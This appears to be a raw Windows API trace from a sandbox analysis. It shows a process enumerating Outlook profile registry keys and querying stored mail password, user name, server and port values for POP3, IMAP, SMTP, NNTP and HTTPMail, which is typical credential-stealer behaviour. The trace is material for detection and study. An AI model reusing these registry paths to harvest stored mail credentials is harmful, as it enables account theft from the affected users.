RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.325] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.325] RegCloseKey (hKey=0x71c) returned 0x0 [0096.325] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.325] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.325] RegCloseKey (hKey=0x71c) returned 0x0 [0096.325] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.326] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.326] RegCloseKey (hKey=0x71c) returned 0x0 [0096.326] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.326] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.326] RegCloseKey (hKey=0x71c) returned 0x0 [0096.326] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.326] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.326] RegCloseKey (hKey=0x71c) returned 0x0 [0096.326] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.326] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.326] RegCloseKey (hKey=0x71c) returned 0x0 [0096.326] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.326] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.326] RegCloseKey (hKey=0x71c) returned 0x0 [0096.326] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.326] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.326] RegCloseKey (hKey=0x71c) returned 0x0 [0096.327] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.327] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.327] RegCloseKey (hKey=0x71c) returned 0x0 [0096.327] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.327] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.327] RegCloseKey (hKey=0x71c) returned 0x0 [0096.327] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.327] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.327] RegCloseKey (hKey=0x71c) returned 0x0 [0096.327] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.327] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.327] RegCloseKey (hKey=0x71c) returned 0x0 [0096.327] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.327] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.327] RegCloseKey (hKey=0x71c) returned 0x0 [0096.327] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.327] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.327] RegCloseKey (hKey=0x71c) returned 0x0 [0096.327] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.328] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.328] RegCloseKey (hKey=0x71c) returned 0x0 [0096.328] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.328] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.328] RegCloseKey (hKey=0x71c) returned 0x0 [0096.328] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.328] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.328] RegCloseKey (hKey=0x71c) returned 0x0 [0096.328] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.328] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.328] RegCloseKey (hKey=0x71c) returned 0x0 [0096.328] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.328] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.328] RegCloseKey (hKey=0x71c) returned 0x0 [0096.328] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.328] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.328] RegCloseKey (hKey=0x71c) returned 0x0 [0096.328] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.329] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.329] RegCloseKey (hKey=0x71c) returned 0x0 [0096.329] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.329] RegQueryValueExA (in: hKey=0x71c, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.329] RegCloseKey (hKey=0x71c) returned 0x0 [0096.329] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.329] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.329] RegCloseKey (hKey=0x71c) returned 0x0 [0096.329] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.329] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.329] RegCloseKey (hKey=0x71c) returned 0x0 [0096.329] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.329] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.329] RegCloseKey (hKey=0x71c) returned 0x0 [0096.329] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.329] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.329] RegCloseKey (hKey=0x71c) returned 0x0 [0096.329] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.329] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.329] RegCloseKey (hKey=0x71c) returned 0x0 [0096.330] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.330] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.330] RegCloseKey (hKey=0x71c) returned 0x0 [0096.330] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.330] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.330] RegCloseKey (hKey=0x71c) returned 0x0 [0096.330] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.330] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.330] RegCloseKey (hKey=0x71c) returned 0x0 [0096.330] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.330] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.330] RegCloseKey (hKey=0x71c) returned 0x0 [0096.330] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.330] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.330] RegCloseKey (hKey=0x71c) returned 0x0 [0096.330] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.330] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.330] RegCloseKey (hKey=0x71c) returned 0x0 [0096.330] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.331] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.331] RegCloseKey (hKey=0x71c) returned 0x0 [0096.331] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.331] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.331] RegCloseKey (hKey=0x71c) returned 0x0 [0096.331] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.331] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.331] RegCloseKey (hKey=0x71c) returned 0x0 [0096.331] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.331] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.331] RegCloseKey (hKey=0x71c) returned 0x0 [0096.331] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.331] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.331] RegCloseKey (hKey=0x71c) returned 0x0 [0096.331] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.332] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.332] RegCloseKey (hKey=0x71c) returned 0x0 [0096.332] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.332] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.332] RegCloseKey (hKey=0x71c) returned 0x0 [0096.332] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.332] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.332] RegCloseKey (hKey=0x71c) returned 0x0 [0096.332] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.332] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.332] RegCloseKey (hKey=0x71c) returned 0x0 [0096.332] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x71c) returned 0x0 [0096.332] RegEnumKeyExA (in: hKey=0x71c, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.332] RegCloseKey (hKey=0x71c) returned 0x0 [0096.332] LocalFree (hMem=0x28e7670) returned 0x0 [0096.332] RegEnumKeyExA (in: hKey=0x368, dwIndex=0xa, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8503020000000000c000000000000046", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.332] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.332] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.332] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046") returned 88 [0096.332] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.332] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.333] RegCloseKey (hKey=0x71c) returned 0x0 [0096.333] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.333] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.333] RegCloseKey (hKey=0x71c) returned 0x0 [0096.333] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.333] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.333] RegCloseKey (hKey=0x71c) returned 0x0 [0096.333] RegOpenKeyExA (in: 